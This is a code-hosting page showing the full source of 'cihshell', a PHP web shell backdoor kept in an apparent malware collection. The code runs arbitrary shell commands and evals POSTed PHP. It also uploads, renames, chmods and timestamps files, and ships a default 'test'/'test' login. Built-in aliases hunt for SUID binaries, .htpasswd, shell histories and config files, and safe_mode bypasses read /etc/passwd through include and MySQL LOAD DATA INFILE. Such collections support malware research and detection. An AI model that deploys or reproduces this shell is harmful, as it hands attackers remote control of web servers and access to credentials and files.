PageRenderTime 58ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 1ms

/Backdoors/PHP/cihshell_fix.php

http://web-malware-collection.googlecode.com/
PHP | 565 lines | 480 code | 55 blank | 30 comment | 154 complexity | b0dda48317d1b5be8aa9cb71188aa1b2 MD5 | raw file
    

  1. <?php

    2. 

  2. /*

    3. 

  3. ######################################

    4. 

  4. ------------ cihshell ----------------

    5. 

  5.       version: 0.99.1 [beta fix]

    6. 

  6. 

    7. 

  7.   everything you need is in here

    8. 

  8. --------------------------------------

    9. 

  9. ########################### /cih.ms/ #

    10. 

  10. ## add 'touch' & fix filesize by DCRM

    11. 

  11. */

    12. 

  12. 

    13. 

  13. # Settings

    14. 

  14. #   all configurations here

    15. 

  15. 

    16. 

  16.   $auth = 1;     // set this to 0 to switch authentication off

    17. 

  17. 

    18. 

  18.     $login = 'test';

    19. 

  19.     $password = 'test';

    20. 

  20. 

    21. 

  21.   $errors = 0;  // set this to 1 to switch php errors on

    22. 

  22.   $stringnum = 1; // change it to 0, if you don't need string numbers in file viewer

    23. 

  23.   $hexdump_rows=20; // number of rows in hexdump

    24. 

  24. 

    25. 

  25.   $alias=array( // aliases for shell. edit them if you need.

    26. 

  26. 'find suid files'=>'find / -type f -perm -04000 -ls',

    27. 

  27. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',

    28. 

  28. 'find sgid files'=>'find / -type f -perm -02000 -ls',

    29. 

  29. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',

    30. 

  30. 'find config.inc.php files'=>'find / -type f -name config.inc.php',

    31. 

  31. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',

    32. 

  32. 'find config* files'=>'find / -type f -name "config*"',

    33. 

  33. 'find config* files in current dir'=>'find . -type f -name "config*"',

    34. 

  34. 'find all writable files'=>'find / -type f -perm -2 -ls',

    35. 

  35. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',

    36. 

  36. 'find all writable directories'=>'find /  -type d -perm -2 -ls',

    37. 

  37. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',

    38. 

  38. 'find all writable directories and files'=>'find / -perm -2 -ls',

    39. 

  39. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',

    40. 

  40. 'find all service.pwd files'=>'find / -type f -name service.pwd',

    41. 

  41. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',

    42. 

  42. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',

    43. 

  43. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',

    44. 

  44. 'find all .bash_history files'=>'find / -type f -name .bash_history',

    45. 

  45. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',

    46. 

  46. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',

    47. 

  47. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',

    48. 

  48. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',

    49. 

  49. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',

    50. 

  50. 'list file attributes on a Linux second extended file system'=>'lsattr -va',

    51. 

  51. 'show opened ports'=>'netstat -an',

    52. 

  52. );

    53. 

  53. 

    54. 

  54. 

    55. 

  55.   # you don't really need to edit it (;

    56. 

  56.   $f = array("SHELL" => "shell","EVAL" => "eval", "MySql Suite" => "mysql", "Server Information" => "server", "Env Informaion" => "envinfo", "PHPinfo" => "phpinfo", "Shell delete" => "delete");

    57. 

  57.   $ver = '0.99.1 [ beta {fix} ]';

    58. 

  58. 

    59. 

  59. # ok, let's start

    60. 

  60. #           ^^

    61. 

  61. session_start();

    62. 

  62. define("start",atime());

    63. 

  63. if(isset($_POST['eval'])){error_reporting(E_ALL&~E_NOTICE);}elseif($errors){error_reporting(E_ALL&~E_NOTICE);}else{error_reporting(0);}

    64. 

  64. ini_set('max_execution_time',0);

    65. 

  65. set_magic_quotes_runtime(0);

    66. 

  66. set_time_limit(0);

    67. 

  67. if(version_compare(phpversion(), '4.1.0') == -1){$_POST   = &$HTTP_POST_VARS; $_GET= &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; }

    68. 

  68. if (get_magic_quotes_gpc()){foreach ($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}foreach ($_SERVER as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_ENV as $key=>$value){$_SERVER[$key] = stripslashes($value);}foreach ($_FILES as $key=>$value){$_SERVER[$key] = stripslashes($value);}}

    69. 

  69. if ($auth == 0) {$_SESSION['logged'] = true;}

    70. 

  70. 

    71. 

  71. 

    72. 

  72. 

    73. 

  73. $safe_mode = ini_get("safe_mode"); if (!$safe_mode) {$safe_mode = 'off';} else {$safe_mode = 'On';}

    74. 

  74. $os = null; $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") $os = "win"; else $os = "nix";

    75. 

  75. if(empty($dir)){ $opsy = getenv('OS');if(empty($opsy)){ $opsy = php_uname(); } if(empty($opsy)){ $opsy ="-"; $os = "nix"; } else { if(eregi("^win",$opsy)) { $os = "win"; }else { $os = "nix"; }}}

    76. 

  76. if($os == "nix"){$pwd = exec("pwd");} elseif($os == "win"){$pwd = exec("cd");} if(empty($pwd)) {$pwd = getcwd();}

    77. 

  77. 

    78. 

  78. 

    79. 

  79. 

    80. 

  80. 

    81. 

  81. 

    82. 

  82. # functions

    83. 

  83. 

    84. 

  84. function atime()

    85. 

  85. {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}

    86. 

  86. 

    87. 

  87. function fperms($file)

    88. 

  88. {$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';}

    89. 

  89. elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';}elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));$info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));return $info;}

    90. 

  90. 

    91. 

  91. function conv_size($size){

    92. 

  92. if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";}elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";}elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";}else {$size = $size . " B";}return $size;}

    93. 

  93. 

    94. 

  94. function fileread($opfile)

    95. 

  95. {$fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);} while(!feof($fh)) {$line = fgets($fh); echo htmlspecialchars($line);}}

    96. 

  96. 

    97. 

  97. function fileread2($opfile,$stringnum)

    98. 

  98. {

    99. 

  99.  $fh = fopen($opfile, 'r'); if (!$fh){error('Could not open file',$ver);}

    100. 

  100.  echo '<table style="font-size:10px; width:100%; margin:0px;  background:#222; ">';

    101. 

  101. 

    102. 

  102.  if ($stringnum){

    103. 

  103.  $i=1;

    104. 

  104.  while(!feof($fh)) {

    105. 

  105.  $line = fgets($fh);

    106. 

  106.  echo '<tr style="background:#242424;"><td style="text-align:center;padding:3px; width:2%; border-right:1px solid #2e2e2e; color:#444;">'.$i.'</td><td>'.htmlspecialchars($line).'</td></tr>';

    107. 

  107.  $i++;

    108. 

  108.  }} else {

    109. 

  109.  while(!feof($fh)) {

    110. 

  110.  $line = fgets($fh);

    111. 

  111.  echo '<tr style="background:#242424;"><td>'.htmlspecialchars($line).'</td></tr>'; }

    112. 

  112.  }

    113. 

  113.   echo '</table><br/>';

    114. 

  114. }

    115. 

  115. 

    116. 

  116. 

    117. 

  117. function safq($query)

    118. 

  118. {

    119. 

  119. $arr = array();$res = mysql_query($query);

    120. 

  120. if (mysql_num_rows($res) > 0) {$x=0;while($row = mysql_fetch_row($res)){foreach($row as $i => $value) {$column = mysql_field_name($res,$i);$data["$column"] = $value;$arr[$x] = $data;}$x++;}}return $arr;}

    121. 

  121. 

    122. 

  122. function cmd_exec($cmd2)

    123. 

  123. {

    124. 

  124. if (isset($_POST['cmd'])) {$cmd=$_POST['cmd'];} else {$cmd = $cmd2;}

    125. 

  125. $result = '';

    126. 

  126. if(isset($_POST['cmdir'])){chdir($_POST['cmdir']);}

    127. 

  127. if(function_exists('system')){ob_start();system($cmd);$result = ob_get_contents();ob_end_clean();}

    128. 

  128. elseif(function_exists('exec')){exec($cmd,$result);$result = join("\n",$result);}

    129. 

  129. elseif(function_exists('shell_exec')){$result = shell_exec($cmd);}

    130. 

  130. elseif(function_exists('passthru')){ob_start();passthru($cmd);$result = ob_get_contents();ob_end_clean();}

    131. 

  131. elseif(is_resource($f = popen($cmd,"r"))){$result = "";while(!feof($f)) { $result .= fread($f,1024); }pclose($f);}

    132. 

  132. echo $result;

    133. 

  133. }

    134. 

  134. 

    135. 

  135. function code_eval()

    136. 

  136. {if (isset($_POST['eval'])){echo "\n result is:<br/><br/>";eval($_POST['eval']);}}

    137. 

  137. 

    138. 

  138. function error($text, $ver)

    139. 

  139. {

    140. 

  140. echo '

    141. 

  141. <div class="notice">

    142. 

  142. <p align="left" style="padding-left:15px;"><b>error occured:</b></p></div>

    143. 

  143. <div class="notice" style="margin-bottom:0px; border-bottom:2px solid #222;">

    144. 

  144. <textarea cols="100" rows="15" style="width:98%;" class="txt"> ';

    145. 

  145. echo $text;echo '</textarea></div>'; do_footer($ver); die();

    146. 

  146. }

    147. 

  147. 

    148. 

  148. function notice($text)

    149. 

  149. {

    150. 

  150. echo "<div class='notice'>$text</div>";

    151. 

  151. }

    152. 

  152. 

    153. 

  153. 

    154. 

  154. function do_header($f, $auth, $os, $path)

    155. 

  155. {

    156. 

  156. echo '<html><head>';

    157. 

  157. if (isset($_POST['cmd']) || isset($_POST['alias'])) {echo '<meta http-equiv="Content-Type" content="text/html; charset=cp866">'; } else{echo'<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">';}

    158. 

  158. echo'

    159. 

  159. <title> CIH.[ms] WebShell </title>

    160. 

  160. <style>

    161. 

  161. body{background:#333; color:#999;font-family:Verdana, Arial;font-size:10px; padding:0px; margin:0px;}

    162. 

  162. .logo {color:#999; font-family:Verdana, Arial; font-size:23px; text-align:left; padding-left:5px; padding-top:0px;  margin-bottom:2px;}

    163. 

  163. .m {color:#888;font-family:Verdana, Arial;font-size:10px;  text-align:right; width:80px;background:#2c2c2c; border: 0px; border-right:1px solid #444; cursor:pointer; cursor:hand;}

    164. 

  164. .m2 {background:#2c2c2c;color:#999;font-size:10px;font-family:Verdana;border: 0px; padding:3px; width:100%; cursor:pointer; cursor:hand;}

    165. 

  165. .m2:hover {color:#ccc; background:#292929;}

    166. 

  166. .i {color:#555;font-family:Verdana, Arial;font-size:10px;  text-align:right;}

    167. 

  167. .notice {background:#252525; padding:4px; margin-bottom:2px;}

    168. 

  168. .footer {font-family:Verdana;font-size:10px;  background:#252525; color:#555; padding:4px; border-bottom:1px solid #222; border-left:1px solid #444; border-right:1px solid #444; text-align:center;}

    169. 

  169. .txt {background:#222; border:1px solid #333; color:#999; font-family:Verdana, Arial;font-size:10px; padding:5px;}

    170. 

  170. .butt1 {height:20px; width:20px; padding:2px;border:1px solid #222;background:#333; color:#999; font-family:Verdana, Arial;font-size:10px;}

    171. 

  171. .filet {color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}

    172. 

  172. .ico {color:#555;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;}

    173. 

  173. .dir { cursor:pointer; cursor:hand;background:#252525;color:#999;font-weight:bold;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center; border:0px;}

    174. 

  174. .file { cursor:pointer; cursor:hand; background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:center;border:0px; margin:0px;}

    175. 

  175. .file:hover, .dir:hover {color:#ccc;}

    176. 

  176. .str{background:#242424; padding:8px; color:#999; font-size:10px; border-bottom:1px solid #292929; border-top:1px solid #292929; margin-top:15px; text-align:left}

    177. 

  177. .my{background:#252525;color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left;border:0px;}

    178. 

  178. .form {background:#232323; height:22px; border:1px solid #2e2e2e; width:98%; padding:4px; color:#999; font-family:Verdana, Arial;font-size:10px; }

    179. 

  179. .fm {background:#272727; border:0px; color:#666;font-family:Verdana, Arial;font-size:10px; padding:3px;}

    180. 

  180. .fa {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px;  text-align:right; border: 0px; width:100%; height:100%; padding:10px; text-align:center;}

    181. 

  181. .fa1 {background:#222; color:#888;font-family:Verdana, Arial; font-size:10px;  text-align:right; border: 0px; width:100%; height:100%; padding:2px; text-align:center;}

    182. 

  182. .fa:hover, .fa1:hover {background:#292929; color:#ccc;}

    183. 

  183. </style>

    184. 

  184. </head>

    185. 

  185. <body><div style="position:absolute; left:0px; top:0px; background:#333; text-align:center; padding-left:100px; padding-right:100px; height:90%">

    186. 

  186. <div style="background:#222; margin:0px; border-left:1px solid #444; border-right:1px solid #444; padding-left:0px; padding-right:0px;">

    187. 

  187. <table style="width:100%; height:25px;">

    188. 

  188.    <tr style="background:#2c2c2c;">

    189. 

  189.     <td style="color:#666; font-family:Verdana, Arial;font-size:10px; padding:3px; text-align:left; padding-left:6px;">

    190. 

  190.    cihshell on <b>'.$_SERVER['HTTP_HOST'].'</b>

    191. 

  191.     </td>';

    192. 

  192. 

    193. 

  193. 

    194. 

  194. echo "<form method='post' action='' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='".$path."' class='m2'><td class='m'><input type='submit'  value='main' class='m2'></td>";

    195. 

  195. foreach($f as $k=>$v)

    196. 

  196.  {

    197. 

  197.   echo "

    198. 

  198.         <!-- $k -->

    199. 

  199.         <td class='m'><input type='submit' name='do' value='$v' class='m2'></td>

    200. 

  200.        ";

    201. 

  201.     }

    202. 

  202. 

    203. 

  203. if($auth){echo "<td class='m'><input type='submit' name='do' value='logout' class='m2'></td>";}

    204. 

  204. $disfun = ini_get('disable_functions');

    205. 

  205. $safe_mode = ini_get("safe_mode");

    206. 

  206. if (!$safe_mode) {$safe_mode = 'Off';} else {$safe_mode = 'On';}

    207. 

  207. $mysql_try = function_exists('mysql_connect');

    208. 

  208. if($mysql_try){ $mysql = 'On';} else {$mysql = 'Off';}

    209. 

  209. $pg_try = function_exists('pg_connect');

    210. 

  210. if($pg_try){$pg = 'On';}else{$pg = 'Off';}

    211. 

  211. $mssql_try = function_exists('mssql_connect');

    212. 

  212. if($mssql_try){$mssql = 'On';}else{$mssql = 'Off';}

    213. 

  213. $ora_try = function_exists('ocilogon');

    214. 

  214. if($ora_try){$ora = 'On';}else{$ora = 'Off';}

    215. 

  215. $curl_try = function_exists('curl_version');

    216. 

  216. if($curl_try) {$curl = 'On';} else {$curl = 'Off';}

    217. 

  217. $perms = fperms($path);

    218. 

  218. echo ' </tr>

    219. 

  219. </table>

    220. 

  220. 

    221. 

  221. <table style="width:100%; margin-top:5px;"><tr>

    222. 

  222. <td class="logo" style="width:120px;">CIH.<span style="color:#555">[</span><span style="color:#888">ms</span><span style="color:#555">]</span></td>

    223. 

  223. <td class="i" style="padding-right:5px; text-align:right;">

    224. 

  224. <nobr><b style="color:#666"><i>'.$perms.'</i></b>  <span style="color:#333">|</span></nobr>

    225. 

  225. <nobr>OS: <b>'.php_uname().'</b>  <span style="color:#333">|</span></nobr>

    226. 

  226. <nobr>safe mode: <b>'.$safe_mode.'</b>  <span style="color:#333">|</span></nobr>

    227. 

  227. <nobr>cURL: <b>'.$curl.'</b>  <span style="color:#333">|</span></nobr>

    228. 

  228. <nobr>MySQL: <b>'.$mysql.'</b>  <span style="color:#333">|</span></nobr>

    229. 

  229. <nobr>MSSQL: <b>'.$mssql.'</b> <span style="color:#333">|</span></nobr>

    230. 

  230. <nobr>PostgreSQL: <b>'.$pg.'</b> <span style="color:#333">|</span></nobr>

    231. 

  231. <nobr>Oracle: <b>'.$ora.'</b> <span style="color:#333">|</span></nobr>

    232. 

  232. PHP:  <b>'.phpversion().'</b>

    233. 

  233. </td>

    234. 

  234. 

    235. 

  235. </tr></table>

    236. 

  236. <div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:5px;">&nbsp;</div>';

    237. 

  237. if (!empty($disfun)){ echo '<div style="border-bottom:1px solid #232323; margin-bottom:2px; font-size:10px; color:#666; text-align:right; padding:5px;"><b>disabled functions:&nbsp;</b>'.$disfun.'</div>';}

    238. 

  238. 

    239. 

  239. }

    240. 

  240. 

    241. 

  241. function do_footer($ver)

    242. 

  242. {

    243. 

  243. echo '</div>

    244. 

  244. <div class="footer">

    245. 

  245. <span style="float:right; color:#333;">'.round(atime()-start,5).'</span>

    246. 

  246. <b><form method="post" style="margin:0px;">&copy;</b><input type="submit" value="cihshell" name="do"

    247. 

  247. style="border:0px; background:#252525; font-weight:bold;  padding:0px;" class="footer"/>&nbsp;&nbsp;version : '.$ver.'</form>

    248. 

  248. </div></div></body></html>';

    249. 

  249. }

    250. 

  250. 

    251. 

  251. # end of functions

    252. 

  252. #

    253. 

  253. if (!empty($_POST['login']) && !empty($_POST['password'])){

    254. 

  254. if ($_POST['login'] == $login && $_POST['password'] == $password){

    255. 

  255. $_SESSION['logged'] = true;} else {echo '

    256. 

  256. <html><head><style>body{background:#333;}</style><title>login </title></head>

    257. 

  257. <body><table style="margin-left:100px; margin-top:100px; background:#222; font-family:Verdana; font-size:10px; color:#999; padding:4px; width:100%:">

    258. 

  258. <tr>

    259. 

  259. <td><form method="post" style="margin:0px; padding:)px;">

    260. 

  260. login: <input type="text" name="login" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;

    261. 

  261. password: <input type="text" name="password" style="color:#999; border:1px solid #333; font-size:10px; background:#292929; padding:2px;">&nbsp;

    262. 

  262. <input type="submit"  style="color:#999; border:0px; font-size:10px; background:#262626; height:20px;; font-family:Verdana;" value="go"></form></td></tr><tr><td style="text-align:center; color:#666;">incorrect login or password</td></tr></table></body></html>'; die();}}

    263. 

  263. 

    264. 

  264. if (isset ($_POST['do']) && $_POST['do']=='logout') { unset($_SESSION['logged']); }

    265. 

  265. 

    266. 

  266. if ($_SESSION['logged'] == true){

    267. 

  267. if (isset($_POST['do']) && $_POST['do']=='phpinfo'){echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>'; phpinfo();echo'<form method="post"><input type="submit" value="return back" style="width:100%;"></form>';die();}

    268. 

  268. if (isset($_POST['fdo']) && isset($_POST['ffile'])){

    269. 

  269. $ffile = $_POST['ffile'];

    270. 

  270. switch($_POST['fdo']){

    271. 

  271. case 'download':

    272. 

  272. $fl = $_POST['filename'];header("Content-type: application/x-octet-stream");header("Content-disposition: attachment; filename=".$fl.";");readfile($ffile);die();break;

    273. 

  273. 

    274. 

  274. case 'preview':

    275. 

  275. include($_POST['ffile']);die(); break;

    276. 

  276. }}

    277. 

  277. 

    278. 

  278. if(isset($_POST['f_file']))

    279. 

  279. {

    280. 

  280.  if ($_POST['f_file'] == "..")

    281. 

  281.   { $slashpos = strpos($_POST['f_path'], strrchr($_POST['f_path'], "/"));

    282. 

  282. $path = substr($_POST['f_path'], 0, $slashpos);

    283. 

  283.   } else {$path = $_POST['f_path']."/".$_POST['f_file'];}

    284. 

  284. 

    285. 

  285. }

    286. 

  286. elseif(isset($_POST['path']))

    287. 

  287. {$path = $_POST['path'];}

    288. 

  288. else {$path =  $pwd;}

    289. 

  289. 

    290. 

  290. if(isset($_POST['restore'])){$path = $pwd;}

    291. 

  291. $path = str_replace("\\", "/", $path);$path = str_replace("'", "", $path);

    292. 

  292. 

    293. 

  293. 

    294. 

  294. 

    295. 

  295. do_header($f, $auth, $os, $path);

    296. 

  296. 

    297. 

  297. echo '<table class="notice" style="width:100%; margin-bottom:7px; background:#272727"><tr>

    298. 

  298. <form method="post" action="" style="padding:0px; margin:0px;">

    299. 

  299. <td style="width:50px;">

    300. 

  300. <input type="hidden" value="'.$path.'" name="f_path">

    301. 

  301. <input type="submit" value=".." name="f_file" class="butt1">

    302. 

  302. <input type="submit" value="."  name="restore" class="butt1"></td>

    303. 

  303. <td></form>

    304. 

  304. <form method="post" action="" style="padding:0px; margin:0px;">

    305. 

  305. <input type="text" size="78"  value="'.$path.'" name="path" style=" width:90%; height:20px; padding:3px;border:1px solid #222;background:#2c2c2c; color:#999; font-family:Verdana, Arial;font-size:10px;" >

    306. 

  306. <input type="submit" value="go" class="butt1" style="width:30px; height:21px;">

    307. 

  307. </form></td>

    308. 

  308. </tr></table>';

    309. 

  309. 

    310. 

  310. # Safe-mode

    311. 

  311. #          working

    312. 

  312. if (isset($_POST['safe_mode'])){

    313. 

  313. 

    314. 

  314. echo "

    315. 

  315. <table style='width:100%; font-size:10px;'>

    316. 

  316. <tr style='background:#272727;' ><td  style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>

    317. 

  317. <tr style='background:#242424;' ><td style='padding:10px;'><form action='' method='post' style='padding:0px; margin:0px;'>

    318. 

  318. <input type='text' name='sm_inc' style='width:80%;' class='form' value='/etc/passwd'/>

    319. 

  319. <input class='form' style='width:60px;'  type='submit' value='try'></form></td></tr>

    320. 

  320. <tr style='background:#252525;'><td  style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>

    321. 

  321. <tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr>

    322. 

  322. 

    323. 

  323. <tr style='background:#272727;' ><td  style='padding:10px; border-top:1px solid #2e2e2e;'><b>Try to read file(include):</b></td></tr>

    324. 

  324. <tr style='background:#242424;' >

    325. 

  325. <td style='padding:10px;'>

    326. 

  326. <form action='' method='post' style='padding:0px; margin:0px;'>

    327. 

  327. <input type='text' name='mysql_host' style='width:15%;' class='form' value='localhost'/>

    328. 

  328. <span style='margin-left:5px; margin-right:5px;'>:</span><input type='text' name='mysql_port' style='width:40px' class='form' value='3306'/>

    329. 

  329. <span style='margin-left:5px; margin-right:5px;'>database:</span><input type='text' name='mysql_db' style='width:15%;' class='form' value='dbname'/>

    330. 

  330. <span style='margin-left:5px; margin-right:5px;'>login:</span><input type='text' name='mysql_login' style='width:15%;' class='form' value='dblogin'/>

    331. 

  331. <span style='margin-left:5px; margin-right:5px;'>password:</span><input type='text' name='mysql_passw' style='width:15%;' class='form' value='dbpassword'/>

    332. 

  332. <input type='text' name='mysql_file' style='margin-top:3px;width:700px;' class='form' value='/etc/passwd'/><br/>

    333. 

  333. <input type='submit' name='sm_mysql' value='try' class='form' style='margin-top:8px;width:50px;'>

    334. 

  334. </form></td></tr>

    335. 

  335. <tr style='background:#252525;'><td  style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>

    336. 

  336. <tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr>

    337. 

  337. </table>

    338. 

  338. ";

    339. 

  339. do_footer($ver); die();

    340. 

  340. }

    341. 

  341. # Safe_Mode functions

    342. 

  342. if (isset($_POST['sm_inc']))

    343. 

  343. {

    344. 

  344. echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";

    345. 

  345. include($_POST['sm_inc']);

    346. 

  346. echo "</textarea><br/><input type='button' class='form' value='go back'   onClick='javascript:history.back();'><br/><br/>";

    347. 

  347. do_footer($version); die();}

    348. 

  348. 

    349. 

  349. if(isset($_POST['sm_mysql']))

    350. 

  350. {

    351. 

  351. echo "<textarea cols='170' rows='34' class='txt' style='width:98%;' > ";

    352. 

  352. if(!isset($_POST['mysql_port']) || empty($_POST['mysql_port'])) { $_POST['mysql_port'] = "3306"; }

    353. 

  353. $db = mysql_connect($_POST['mysql_host'].':'.$_POST['mysql_port'],$_POST['mysql_login'],$_POST['mysql_passw']);

    354. 

  354. if($db){

    355. 

  355. if(mysql_select_db($_POST['mysql_db'],$db))

    356. 

  356. {$sql = "DROP TABLE IF EXISTS cih_tb;"; mysql_query($sql);

    357. 

  357.  $sql = "CREATE TABLE `cih_tb` ( `file` LONGBLOB NOT NULL );";

    358. 

  358.  mysql_query($sql);$sql = "LOAD DATA INFILE \"".$_POST['mysql_file']."\" INTO TABLE cih_tb;";

    359. 

  359.  mysql_query($sql);$sql = "SELECT * FROM cih_tb;";

    360. 

  360. $r = mysql_query($sql);

    361. 

  361. while(($r_sql = mysql_fetch_array($r))) { echo htmlspecialchars($r_sql[0]); }

    362. 

  362. $sql = "DROP TABLE IF EXISTS cih_tb;";

    363. 

  363. mysql_query($sql);

    364. 

  364. }else echo "Can\'t select database";

    365. 

  365. mysql_close($db);

    366. 

  366. }else echo "-- Could not connect to MySQL server";

    367. 

  367. echo "</textarea><br/><input type='button' class='form' value='go back'   onClick='javascript:history.back();'><br/><br/>";

    368. 

  368. do_footer($version);die();}

    369. 

  369. 

    370. 

  370. 

    371. 

  371. 

    372. 

  372. if ($safe_mode == "On" && !isset($_POST['safe_mode']))

    373. 

  373. {

    374. 

  374. notice('<form method="post" style="margin:0px;"><b>safe_mode</b> is <b>On.</b><input type="submit" name="safe_mode" value="Click on this message to start working" style="font-size:10px; color:#999; font-family:Verdana;border:0px; background:#252525;"/></form>');

    375. 

  375. }

    376. 

  376. 

    377. 

  377. if (isset($_POST['fileact'])){switch($_POST['fileact']){

    378. 

  378. case 'New File':

    379. 

  379. $cdir = $_POST['curdir'];

    380. 

  380. echo "<form method='post' action='' style='margin:0px; padding:0px;'><textarea cols='170' rows='34' class='txt' style='width:98%;' name='wrcont'></textarea>

    381. 

  381. 

    382. 

  382. <input type='hidden' name='path' value='".$_POST['curdir']."'><input type='hidden' name='curdir' value='".$_POST['curdir']."'>

    383. 

  383. <input type='text' name='nfname' class='form' style='width:28%; background:#252525;margin-bottom:1px; margin-right:1px;' value='file.txt'><input type='submit' name='wrfile' class='form' value='create file' style='width:70%'></form><br/>";

    384. 

  384. do_footer($ver); die();break;

    385. 

  385. 

    386. 

  386. case 'New Dir':

    387. 

  387. $curdir = $_POST['curdir'];

    388. 

  388. echo "<form method='post' action='' style='margin:0px;'><input type='hidden' name='curdir' value='$curdir'><input type='hidden' name='path' value='$curdir'><input type='text' name='dirname' class='form'  style='width:90%; margin-right:1px;' size='100'><input type='submit' style='width:60px;' class='form' value='go!'></form><br/>";

    389. 

  389. do_footer($ver);die();break;

    390. 

  390. case 'Upload':

    391. 

  391. if (isset($_FILES['userfile'])) {

    392. 

  392. $file = $_FILES['userfile'];

    393. 

  393. $curdir = $_POST['path'];

    394. 

  394. if(isset($_POST['newfilech']) && !empty($_POST['newfile'])) {$nfn=$_POST['newfile'];} else { $nfn = $file['name']; }

    395. 

  395. if($file['error']!=0) error($file['error']);

    396. 

  396. else{copy($file['tmp_name'], $curdir.'/'.$nfn);if(!file_exists($curdir.'/'.$file['name']))error("Upload failed. (Can't copy temp file ".$file['tmp_name']." into current directory)", $ver);else{notice("File ".$nfn." was uploaded successfuly..</div>");}}}

    397. 

  397. echo "<table style='width:100%; font-size:10px;'><tr style='background:#272727;' ><td  style='padding:10px; border-top:1px solid #2e2e2e;'><b>Upload from your computer:</b></td></tr>

    398. 

  398. <tr style='background:#242424;' ><td style='padding:10px;'><form action='' enctype='multipart/form-data' method='post' style='padding:0px; margin:0px;'><input type='hidden' name='path' value='$path'> <input type='hidden' name='fileact' value='Upload'><input name='userfile' size='85' value='' class='form' type='file' style='border:1px solid #444;'><br/><br/>New name :<input name='newfilech'  value='1' type='checkbox'><input type='text' name='newfile' style='width:20%;' class='form' value='filename.php'/><input type='submit' style='width:60px;' class='form' value='go!'></form></td></tr>

    399. 

  399. <tr style='background:#252525;'><td  style='border-bottom:1px solid #2e2e2e;'>&nbsp;</td></tr>

    400. 

  400. <tr style='background:#222; font-size:1px;'><td>&nbsp;</td></tr></table>";do_footer($ver);die();break;

    401. 

  401. }}

    402. 

  402. # File Manager : File actions

    403. 

  403. if(isset($_POST['newname'])) // rename

    404. 

  404. {rename($_POST['ffile'], $_POST['newname']);if(!file_exists($_POST['newname'])){error('Could not rename '); }notice("File was successfuly renamed to &nbsp;".$_POST['newname']."...");}

    405. 

  405. if(isset($_POST['newpath'])) //copy

    406. 

  406. {copy($_POST['ffile'], $_POST['newpath']);if(!file_exists($_POST['newpath'])){error('Could not copy file'); }echo " <div class='notice'>File was successfuly copied to &nbsp;<b>".$_POST['newpath']."</b>...</div>";}

    407. 

  407. if(isset($_POST['chmod'])) // chmod

    408. 

  408. {$a =  chmod($_POST['ffile'], $_POST['chmod']);if(!$a){error('Could not change permissions :o(', $ver);}echo " <div class='notice'>We hope that permissions for file were successfuly  changed to &nbsp;<b>".$_POST['chmod']."</b>&nbsp;^^</div>";}

    409. 

  409. if(isset($_POST['touch'])) // touch

    410. 

  410. {$dt = strtotime($_POST['touch']); if(!touch($_POST['ffile'], $dt)){ error('Could not change touch time...', $ver);} echo " <div class='notice'>We hope that touch for file were successfuly  changed to &nbsp;<b>".$_POST['touch']."</b>&nbsp;^^</div>";}

    411. 

  411. if (isset($_POST['ffile']) && isset($_POST['wrcont'])){ // write into file

    412. 

